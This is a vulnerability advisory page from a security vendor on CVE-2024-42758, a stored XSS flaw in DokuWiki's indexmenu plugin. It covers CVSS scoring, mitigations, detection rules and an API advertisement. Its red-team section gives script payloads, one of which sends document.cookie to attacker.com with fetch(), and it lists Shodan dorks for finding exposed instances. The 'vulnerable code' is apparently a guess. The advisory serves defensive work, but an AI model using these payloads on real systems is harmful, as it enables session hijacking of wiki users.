☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-42758

CVE-2024-42758 Cross-Site Scripting in Dokuwiki
📅 PUBLISHED: 2024-08-16 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.88%
👁️
1.88% probability
47.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v2024-01-05 (indexmenu plugin)
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-42758 describes a stored Cross-Site Scripting (XSS) vulnerability in the indexmenu plugin for DokuWiki (version v2024-01-05). An authenticated attacker with page creation or editing privileges can inject malicious JavaScript payloads into wiki pages. Due to DokuWiki’s design, these payloads are stored in plain-text .txt files on the server, resulting in persistent XSS that executes whenever a victim views the compromised page. The vulnerability has a CVSS score of 4.8 (Medium), with a public proof-of-concept available. No official patch has been released as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a third-party plugin (indexmenu) for the DokuWiki ecosystem. DokuWiki itself is not directly vulnerable, but the plugin introduces the XSS flaw. Users should verify the integrity of the plugin source and consider disabling it until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker needs a valid account with page edit/create rights
  • User Interaction: Required (UI:R) – victim must view the malicious page
  • Scope: Changed (S:C) – XSS can affect other parts of the application
  • Confidentiality Impact: Low (C:L) – limited data exfiltration possible
  • Integrity Impact: Low (I:L) – content modification possible
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability resides in the indexmenu plugin’s handling of user-supplied content when creating or editing wiki pages. The plugin fails to properly sanitize or escape HTML/JavaScript before storing the page content in DokuWiki’s .txt file storage system.

Attack Flow:

  1. An authenticated attacker creates or edits a wiki page.
  2. The attacker injects a malicious payload, e.g., <script>alert('XSS')</script>, into the page content.
  3. DokuWiki stores the raw content in a .txt file on the server.
  4. When a victim (including administrators) views the page, the plugin renders the stored content without proper sanitization.
  5. The injected script executes in the victim’s browser context, allowing cookie theft, session hijacking, or further attacks.

Root Cause: Lack of output encoding in the indexmenu plugin’s rendering logic. The plugin likely uses echo or similar functions without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (indexmenu plugin v2024-01-05):

// Vulnerable: Direct output without sanitization
function render_indexmenu($page_content) {
    echo $page_content; // XSS vulnerability
}

Patched Code (Hypothetical fix):

// Patched: Proper HTML escaping
function render_indexmenu($page_content) {
    echo htmlspecialchars($page_content, ENT_QUOTES, 'UTF-8');
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • DokuWiki instance with indexmenu plugin v2024-01-05 enabled
  • Valid user account with page edit/create permissions

Exploit Steps:

  1. Log in to DokuWiki.
  2. Create a new page or edit an existing one.
  3. Insert the following payload into the page content:
    <script>alert('XSS by CVE-2024-42758');</script>
    
  4. Save the page.
  5. Share the page link with a victim or wait for an administrator to view it.
  6. The script executes in the victim’s browser.

Advanced Payload (Cookie Theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor DokuWiki page creation/edit logs for suspicious content.
  • Use WAF rules to block <script> tags in page content.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

  • Disable the indexmenu plugin until a patch is available.
  • Apply input validation and output encoding manually if possible.
  • Restrict page edit permissions to trusted users only.

Indicators of Compromise (IOCs)

  • File-based IOCs:
    • DokuWiki .txt files containing <script> tags or event handlers (e.g., onload, onerror).
  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from DokuWiki pages.
  • Log IOCs:
    • DokuWiki access logs showing requests to pages with injected scripts.
    • Server error logs with JavaScript execution errors.

Example IOC (File content):

data/pages/example.txt: <script>alert('XSS')</script>

Detection Engineering

YARA Rule

rule CVE_2024_42758_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in DokuWiki .txt files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42758"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: DokuWiki Stored XSS via indexmenu Plugin
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects potential stored XSS attempts in DokuWiki page content
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'do=save'
        cs-request-body|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki pages (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-42758 DokuWiki Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"do=save"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-42758;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the indexmenu plugin in DokuWiki’s plugin manager.
  2. Restrict page edit permissions to only trusted users.
  3. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests.

Long-term Fix:

  • Apply output encoding in the plugin’s rendering function (see patched code above).
  • Monitor the plugin’s repository for an official patch.
  • Consider switching to an alternative navigation plugin.

Valters IT Signature:

Valters IT
Cybersecurity & DevSecOps
https://valters-it.com
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"DokuWiki"
http.html:"indexmenu"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-42758/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.